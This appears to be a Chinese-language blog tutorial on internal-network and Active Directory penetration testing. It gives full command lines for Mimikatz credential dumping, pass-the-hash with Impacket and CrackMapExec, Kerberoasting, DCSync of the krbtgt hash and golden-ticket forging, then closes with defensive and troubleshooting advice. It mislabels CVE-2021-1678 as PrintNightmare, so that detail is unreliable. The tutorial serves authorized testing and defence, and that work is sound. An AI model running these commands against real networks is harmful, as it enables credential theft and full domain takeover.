1. 从零开始:理解内网与域渗透的本质区别
很多刚接触安全测试的朋友,常常会把“内网渗透”和“域渗透”混为一谈,觉得它们差不多,都是进到别人公司网络里搞事情。这种理解不能说全错,但非常片面,就像把“开车”和“开F1赛车”都叫开车一样,忽略了背后巨大的技术鸿沟和场景差异。我干了这么多年渗透测试,带过不少新人,发现能清晰区分这两者,往往是能否从“脚本小子”进阶为“渗透工程师”的第一个分水岭。
简单来说, 内网渗透是一个大概念,而域渗透是内网渗透中最具挑战性、技术最集中的一个子集 。你可以把整个公司的内部网络想象成一个小区(内网)。内网渗透的目标,就是通过各种方法,从小区大门外(互联网),或者从某个已经进去的单元楼里(比如一个被攻陷的Web服务器),想办法在这个小区里自由活动,访问不同的楼栋、房间,甚至拿到物业总控室的钥匙。这个小区可能管理松散,每栋楼都有自己的门禁(工作组环境);也可能管理非常严格,有一个统一的物业中心(域控制器)来管理所有住户(计算机)和门禁卡(账户)。
域环境 ,就是那个有统一物业中心(域控制器,Domain Controller, DC)的严格小区。在这个环境里进行的、以攻陷域控制器、控制整个域为最终目标的渗透过程,就是 域渗透 。它的核心目标是拿到那把“域管理员”的万能钥匙,从而掌控整个“王国”。而内网渗透的目标则宽泛得多,它可能是在一个没有域的工作组环境里横向移动,也可能是在一个混合了多种设备、系统的复杂内网中寻找有价值的数据,其最终目标不一定是域控,可能是核心数据库、文件服务器、甚至是某个高管的电脑。
所以,当你拿到一个授权测试项目,第一步永远是信息收集,而信息收集的关键一步就是判断:我面对的是一个“小区”(内网)还是一个“王国”(域)?这个判断会直接决定你后续80%的工具选择、攻击路径和技术思路。接下来,我们就从零开始,拆解这两种渗透方式的核心思路、技术手段和实战差异。
2. 内网渗透:思路、阶段与通用技术栈
内网渗透,无论目标环境是否是域,其基本流程都遵循一个相对固定的生命周期。这个生命周期不是死板的步骤,而是一个动态的、循环往复的“侦查-攻击-巩固-再侦查”的过程。理解这个框架,比死记硬背几个工具命令重要得多。
2.1 内网渗透的通用阶段划分
一个典型的内网渗透过程,可以划分为以下几个阶段,我习惯称之为“渗透五步曲”:
- 初始立足点获取 :这是从外到内的突破。通常通过Web漏洞(如SQL注入、文件上传、RCE)、社会工程学(钓鱼邮件)、近源攻击(Wi-Fi破解、USB摆渡)等方式,获得对内网中某一台主机(我们称之为“跳板机”或“入口点”)的初始控制权。这个点可能权限很低,但它是你进入内网的“桥头堡”。
-
内网信息收集
:一旦进入,不要急着乱跑。首要任务是“摸清家底”。这包括:
-
网络拓扑侦察
:使用
ipconfig /all,route print查看本机IP、网关、DNS服务器。用arp -a查看同一网段活跃主机。使用nmap,masscan等工具进行端口扫描,绘制网络地图。 -
主机信息收集
:当前用户权限、系统版本、安装的软件、进程列表、计划任务、共享目录等。命令如
whoami /all,systeminfo,netstat -ano,tasklist。 - 凭证信息收集 :尝试从内存、文件、注册表中提取密码、令牌或票据。这是后续横向移动的“弹药”。
-
网络拓扑侦察
:使用
-
权限提升
:初始立足点的权限往往受限(如普通用户)。我们需要将其提升为更高权限(如本地管理员、SYSTEM)。方法包括:
-
本地漏洞利用
:寻找未打补丁的系统漏洞,如经典的MS17-010(永恒之蓝)、CVE-2021-1678(PrintNightmare)等,使用
Metasploit,Cobalt Strike的getsystem或独立的EXP工具。 - 配置错误利用 :利用错误的服务权限(如服务账户权限过高)、可写路径、AlwaysInstallElevated策略、计划任务等。
- 凭证滥用 :如果收集到的密码可以用于更高权限的账户,直接切换用户。
-
本地漏洞利用
:寻找未打补丁的系统漏洞,如经典的MS17-010(永恒之蓝)、CVE-2021-1678(PrintNightmare)等,使用
-
横向移动
:这是内网渗透的核心环节。从一个已控制的主机,向网络内的其他主机发起攻击,扩大控制范围。技术手段包括:
-
凭证传递/哈希传递
:使用收集到的密码哈希(NTLM Hash)或票据(Kerberos Ticket),直接验证到其他主机,无需破解明文密码。工具如
Mimikatz(sekurlsa::pth),Impacket套件中的psexec.py,smbexec.py。 - 利用服务漏洞 :攻击内网中其他主机上存在漏洞的服务,如SMB、RDP、MySQL、Redis等。
- 利用信任关系 :基于主机间的信任关系进行跳转,例如在域环境中,域管理员可能登录过某台成员服务器,其凭证会缓存在该服务器上。
-
凭证传递/哈希传递
:使用收集到的密码哈希(NTLM Hash)或票据(Kerberos Ticket),直接验证到其他主机,无需破解明文密码。工具如
- 目标达成与持久化 :在获取到最终目标(核心数据、特定服务器控制权)后,需要建立持久化通道,以便后续访问。同时清理痕迹(非授权测试中严禁)。持久化手段包括创建隐藏计划任务、服务、启动项、WMI事件订阅、SSH公钥、黄金票据(域环境特有)等。
注意 :这五个阶段并非线性,而是螺旋式上升。在横向移动获得新主机后,立即在新主机上重复信息收集和权限提升,寻找新的攻击路径。
2.2 工作组环境下的渗透特点
在没有域的环境(工作组)中,每台计算机本质上都是一个独立的“堡垒”。渗透的特点如下:
- 认证方式单一 :主要依赖NTLM认证。每台机器的本地SAM数据库存储着本地用户的哈希。没有中央账户管理。
- 横向移动阻力大 :由于缺乏统一的信任关系,从主机A到主机B,通常需要知道B上某个本地账户的凭证。这使得横向移动更像是在攻克一个个独立的堡垒,依赖漏洞利用和密码爆破(针对弱口令)的情况更多。
- 信息分散 :用户账户、共享资源信息分散在各台主机上,需要逐一收集。
-
工具选择
:
nmap,Metasploit,CrackMapExec(针对SMB),Hydra/Medusa(爆破工具) 等是主力。Impacket套件同样有效,但场景多局限于已知凭证的传递。
一个工作组环境的简单攻击链可能是
:通过Web漏洞拿下DMZ区一台服务器(立足点)-> 提权至本地管理员 -> 抓取本机哈希或发现弱口令 -> 利用
psexec
或 SMB漏洞(如MS17-010)攻击同一网段其他使用相同弱口令的主机 -> 逐步扩散。
3. 域渗透:核心思想、攻击路径与高阶技巧
当你的信息收集显示存在“域”环境(例如,DNS服务器指向一个内部IP,主机名包含域名,
net user /domain
命令可以执行),那么恭喜你,也“恭喜”目标,真正的挑战和乐趣开始了。域渗透将内网攻防提升到了战略层面。
3.1 域环境的核心与攻击总纲
域的核心是 活动目录 。你可以把它理解为一个巨大的、分布式的数据库,存储着域内所有用户、计算机、组策略、信任关系等信息。而 域控制器 就是这个数据库的权威管理者。
因此,域渗透的终极目标非常明确: 获取域管理员权限,完全掌控活动目录 。一旦达成,意味着你可以:
- 重置任意用户(包括CEO)的密码。
- 将任意计算机加入域或踢出域。
- 部署组策略,在所有域内电脑上执行命令。
- 访问域内所有资源(只要权限设置允许)。
- 生成访问任何服务的“万能门票”(黄金票据)。
域渗透的攻击路径,通常围绕以下几个关键“资产”展开,我将其总结为 “域渗透四大攻击面” :
- 用户凭证 :普通域用户 -> 高权限域用户(如IT支持人员)-> 域管理员。通过钓鱼、密码喷洒、Kerberoasting攻击等方式获取。
- 计算机账户 :域成员服务器 -> 域控制器。利用计算机账户的权限、内存中缓存的凭证或漏洞。
- 服务账户 :通过攻击Kerberos服务票据(Silver Ticket, Kerberoasting)来冒充服务,进而提升权限。
- 域信任关系 :在拥有多个域的林环境中,利用域间的信任关系进行跨域攻击。
3.2 从零到域控:一条经典攻击路径详解
让我们模拟一条从外网普通员工电脑到拿下域控制器的经典路径,看看域渗透技术是如何串联起来的。
阶段一:初始入侵与本地信息收集
假设我们通过一封钓鱼邮件,让一名域用户点击了恶意文档,从而在其办公电脑上获得了初始的
meterpreter
会话。当前权限是这名普通域用户。
-
信息收集
:
此时,我们知道了域名(例如# 查看当前用户和所在域 whoami net user %username% /domain # 查看网络配置,确认DNS(通常指向域控制器) ipconfig /all # 查看当前域和域控制器 net view /domain nltest /dclist:你的域名corp.com)和域控制器的主机名(例如DC01.corp.com)。
阶段二:域内信息收集与凭证窃取 有了域用户权限,我们就可以在域内进行更深入的侦察。
-
枚举域信息
:
# 枚举域用户 net user /domain # 枚举域计算机 net group "Domain Computers" /domain # 枚举域管理员 net group "Domain Admins" /domain # 使用PowerShell或BloodHound进行更高级的枚举 -
凭证窃取(关键步骤)
:在已控主机上,尝试提取内存中的凭证。
如果当前用户权限不够,需要先进行本地提权。这一步可能抓取到其他登录过此电脑的域用户(甚至域管理员)的明文密码或哈希。# 使用Mimikatz(需管理员权限) privilege::debug sekurlsa::logonpasswords
阶段三:横向移动与权限提升 假设我们从内存中抓取到了一个属于“IT Support”组成员的用户哈希。
-
哈希传递攻击
:我们无需破解这个哈希,可以直接用它来访问其他资源。
如果这个“IT Support”组对某些服务器有管理权限,我们就能直接获得该服务器的SYSTEM权限。# 使用Impacket的psexec横向移动 python3 psexec.py corp.com/IT_User@目标服务器IP -hashes :NTLM_HASH -
Kerberoasting攻击
:如果抓到的只是普通用户凭证,可以尝试此方法。它针对的是使用Kerberos协议的服务账户。
获取到的TGS票据是使用服务账户哈希加密的,我们可以离线爆破这个哈希。由于服务账户密码可能很少更换且强度不高,爆破成功率可观。一旦破解,我们就获得了该服务账户的权限,如果这个服务账户权限较高(例如是某个数据库服务的账户),就可能成为新的跳板。# 请求所有SPN(服务主体名称)服务的TGS票据 python3 GetUserSPNs.py -request -dc-ip 域控制器IP corp.com/普通用户
阶段四:通往域控的最后冲刺 在控制了一台具有一定权限的服务器(例如一个被IT人员管理的文件服务器)后,我们距离域控更近了。
-
利用域管理员凭证
:最理想的情况,在控制的服务器上再次运行
Mimikatz,抓取到了曾经登录过的域管理员哈希。直接使用哈希传递攻击域控制器:python3 smbexec.py -hashes :域管理员哈希 corp.com/域管理员@域控制器IP -
打印机漏洞
:如果域控制器未修复Print Spooler服务漏洞,我们可以利用它强制让域控制器向我们控制的主机进行身份验证,从而截获其计算机账户的哈希。工具如
SpoolSample或打印机漏洞利用工具。 - ADCS攻击 :如果域内部署了Active Directory证书服务,且配置存在缺陷,普通用户可能可以申请到域管理员权限的证书。这是近年来非常热门的攻击向量。
- ZeroLogon :利用CVE-2020-1472漏洞,将域控制器计算机账户的密码哈希置空,从而直接控制它。虽然补丁已出,但在未及时更新的老旧环境中仍是“大杀器”。
阶段五:权限维持与深度控制 拿到域控制器权限后,工作并未结束。
-
DCSync攻击
:利用域控制器的复制协议,模拟一个域控制器,从真正的域控制器上“拉取”所有用户的哈希。这是获取全域哈希的最优雅方式。
mimikatz# lsadump::dcsync /domain:corp.com /user:Administrator -
黄金票据
:利用抓取到的
krbtgt账户的哈希(域的特殊密钥),可以伪造任意用户的TGT(票据授予票据),实现“万能通行证”。即使域内所有用户密码都改了,只要krbtgt的哈希不变,黄金票据依然有效。 - 白银票据 :针对特定服务伪造TGS票据,不需要与域控制器交互,更难检测。
4. 工具链实战:从扫描到利用的完整操作实录
理论说再多,不如动手练一遍。下面我结合几个核心场景,给出具体的工具命令和操作思路,你可以照着搭建实验环境(如使用
Windows Server
搭建域,
Kali Linux
作为攻击机)进行复现。
4.1 信息收集工具链实战
场景 :已获得一个域普通用户权限的Meterpreter会话。
-
使用PowerShell进行快速枚举
:
# 导入PowerView模块 Import-Module .\PowerView.ps1 # 获取域信息 Get-NetDomain # 获取域控制器 Get-NetDomainController # 获取域用户列表 Get-NetUser | select samaccountname, description, lastlogon # 获取域计算机列表 Get-NetComputer | select name, operatingsystem # 获取域组和组成员 Get-NetGroup -GroupName "Domain Admins" # 发现域内共享 Invoke-ShareFinder -
使用BloodHound进行可视化攻击路径分析
:这是域渗透的“神器”。它通过收集活动目录的数据,自动分析出用户、组、计算机之间的复杂关系,并找出最快捷的攻击路径。
-
在攻击机上运行
BloodHound界面和neo4j数据库。 -
在目标主机上(通过会话)运行数据收集器
SharpHound.exe。SharpHound.exe -c All --zipfilename data.zip -
将生成的
data.zip下载到攻击机,并导入BloodHound。 - 在界面中搜索目标用户或组(如“Domain Admins”),点击“节点信息”,BloodHound会清晰地展示出“最短路径到域管理员”、“拥有的会话”、“到高价值目标的路径”等关键信息,直接告诉你下一步该攻击谁、怎么攻击。
-
在攻击机上运行
4.2 横向移动与凭证攻击实战
场景
:已获得一个域用户
zhangsan
的NTLM哈希(
aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
),想横向移动到内网主机
192.168.1.10
。
-
使用Impacket套件进行哈希传递
:
# 1. 使用wmiexec(无文件落地,较隐蔽) python3 wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 corp/zhangsan@192.168.1.10 # 2. 使用atexec(通过计划任务执行) python3 atexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 corp/zhangsan@192.168.1.10 "whoami" # 3. 使用smbexec python3 smbexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 corp/zhangsan@192.168.1.10 -
使用CrackMapExec进行批量扫描与攻击
:
# 扫描整个C段,检查哪些主机可以使用该哈希进行SMB登录 crackmapexec smb 192.168.1.0/24 -u zhangsan -H 32ed87bdb5fdc5e9cba88547376818d4 # 如果发现可登录主机,直接执行命令 crackmapexec smb 192.168.1.10 -u zhangsan -H 32ed87bdb5fdc5e9cba88547376818d4 -x 'whoami' # 使用--sam 参数尝试转储目标主机的本地SAM哈希 crackmapexec smb 192.168.1.10 -u zhangsan -H 32ed87bdb5fdc5e9cba88547376818d4 --sam
4.3 权限提升与域控攻击实战
场景
:已控制一台域成员服务器,并获取了本地管理员权限,目标是获取域控制器上的
krbtgt
哈希。
-
使用Mimikatz进行DCSync
:
首先,你需要确保当前上下文具有复制目录更改的权限(通常域管理员或类似权限才有)。如果你控制了一个有复制权限的账户(或通过漏洞获得了相应权限):
这条命令会从域控制器# 在已控服务器上以高权限运行Mimikatz mimikatz # privilege::debug mimikatz # lsadump::dcsync /domain:corp.com /user:krbtgtDC01.corp.com上拉取krbtgt账户的哈希,输出结果中会包含其NTLM哈希,这是制作黄金票据的关键。 -
制作黄金票据
:
拿到
krbtgt的哈希后,在任意域内或已加入域的机器上,都可以伪造票据。
其中mimikatz # kerberos::golden /user:任意用户名 /domain:corp.com /sid:域SID /krbtgt:krbtgt的NTLM哈希 /ptt/ptt参数表示将生成的票据直接注入到当前会话的内存中。执行成功后,使用klist查看当前票据,你会发现多了一张来自krbtgt的TGT。此时,你就可以以伪造的身份访问域内任何服务了,例如直接访问域控制器的C$共享:dir \\DC01.corp.com\c$
5. 防御视角与常见问题排查实录
站在攻击者的角度学习,最终是为了更好地防御。了解这些攻击手法后,你应该能明白防守方该在哪里布防。
5.1 内网与域环境的核心防御建议
- 最小权限原则 :这是黄金法则。无论是用户账户还是服务账户,只赋予其完成工作所必需的最小权限。避免域管理员账户在日常办公电脑上登录。
- 强密码与多因素认证 :强制使用长且复杂的密码,并启用多因素认证,能有效防御密码喷洒和爆破。
- 及时打补丁 :针对永恒之蓝、打印机漏洞、ZeroLogon等高危漏洞,及时安装安全更新。
- 禁用不必要的服务 :关闭或限制SMB、WMI、RDP等服务的访问范围,仅在需要的网络段开放。
-
监控与日志审计
:
- 监控异常登录行为(如非工作时间、陌生地理位置的登录)。
-
监控
Mimikatz相关进程创建、LSASS进程的内存读取尝试。 - 监控大量的Kerberos TGS请求(Kerberoasting攻击特征)。
- 监控DCSync复制事件(事件ID 4662)。
- 网络分段 :将网络划分为不同的安全区域(如办公网、服务器网、核心数据区),区域间通过防火墙严格控制访问,即使攻击者进入办公网,也难以直接触及核心服务器。
-
启用Credential Guard
:对于Windows 10/Server 2016以上系统,启用Credential Guard可以保护LSASS进程,使传统的
Mimikatz抓取内存密码的方法失效。 -
定期轮换关键凭证
:定期更改
krbtgt账户的密码(通常每半年一次,且需执行两次),使已泄露的黄金票据失效。
5.2 渗透测试中的常见问题与排查技巧
在实际测试中,你肯定会遇到各种问题。下面是一些常见坑点和解决思路:
-
问题一:哈希传递失败,返回“STATUS_LOGON_FAILURE” 。
- 可能原因1 :目标主机启用了“受限管理模式”或“Credential Guard”。解决方案:尝试其他横向移动方法,如WMI、计划任务、SCM等,或者寻找其他漏洞。
- 可能原因2 :使用的哈希不对或用户权限不足。解决方案:确认哈希来源正确,确认该用户对目标主机有相应的访问权限(如远程登录权限)。
- 可能原因3 :网络策略限制。解决方案:检查防火墙是否阻止了445(SMB)或135(WMI)等端口。
-
问题二:Kerberoasting攻击时,GetUserSPNs.py返回“Kerberos SessionError: KDC_ERR_PREAUTH_FAILED” 。
-
可能原因
:需要预认证。这意味着你提供的用户密码或哈希是错误的。解决方案:确保你使用的凭证是正确的。或者,如果你有该用户的TGT票据,可以尝试使用
klist查看并导出票据,然后使用export KRB5CCNAME=/path/to/ticket设置环境变量后重试。
-
可能原因
:需要预认证。这意味着你提供的用户密码或哈希是错误的。解决方案:确保你使用的凭证是正确的。或者,如果你有该用户的TGT票据,可以尝试使用
-
问题三:使用黄金票据后,访问某些服务(如LDAP)仍然被拒绝 。
-
可能原因
:黄金票据只伪造了TGT,访问某些服务可能需要PAC(特权属性证书)信息。在制作黄金票据时,可以尝试指定
/groups参数,将用户添加到高权限组(如域管理员组SID)来完善PAC。另外,有些服务(如证书服务)可能对票据有额外校验。
-
可能原因
:黄金票据只伪造了TGT,访问某些服务可能需要PAC(特权属性证书)信息。在制作黄金票据时,可以尝试指定
-
问题四:BloodHound显示有到域管理员的路径,但实际攻击链不通 。
-
可能原因
:BloodHound展示的是理论上的权限关系(如“成员属于某组”),但实际环境中可能通过其他方式(如组策略、本地防火墙规则)进行了限制。解决方案:BloodHound是路线图,不是保证书。需要结合手动验证,例如,显示你有权“写入ACL”到某个用户,你需要手动使用
PowerView的Add-DomainObjectAcl等命令去尝试执行,看是否真的成功。
-
可能原因
:BloodHound展示的是理论上的权限关系(如“成员属于某组”),但实际环境中可能通过其他方式(如组策略、本地防火墙规则)进行了限制。解决方案:BloodHound是路线图,不是保证书。需要结合手动验证,例如,显示你有权“写入ACL”到某个用户,你需要手动使用
最后一点个人心得
:内网和域渗透是一个深度依赖“感觉”和“经验”的领域。工具和命令是死的,但网络环境是活的。最好的学习方式就是自己搭建靶场(推荐
Active Directory Lab
或
Detection Lab
),把上面提到的每一条攻击链都亲手走通、走稳。遇到错误别急着搜答案,先看报错信息,理解协议原理(比如Kerberos认证的AS_REQ, TGT, TGS_REQ, TGS流程),很多问题自然就迎刃而解了。收藏这篇文章只是一个开始,真正的精通,藏在无数次失败的复现和成功的突破之中。
248

被折叠的 条评论
为什么被折叠?



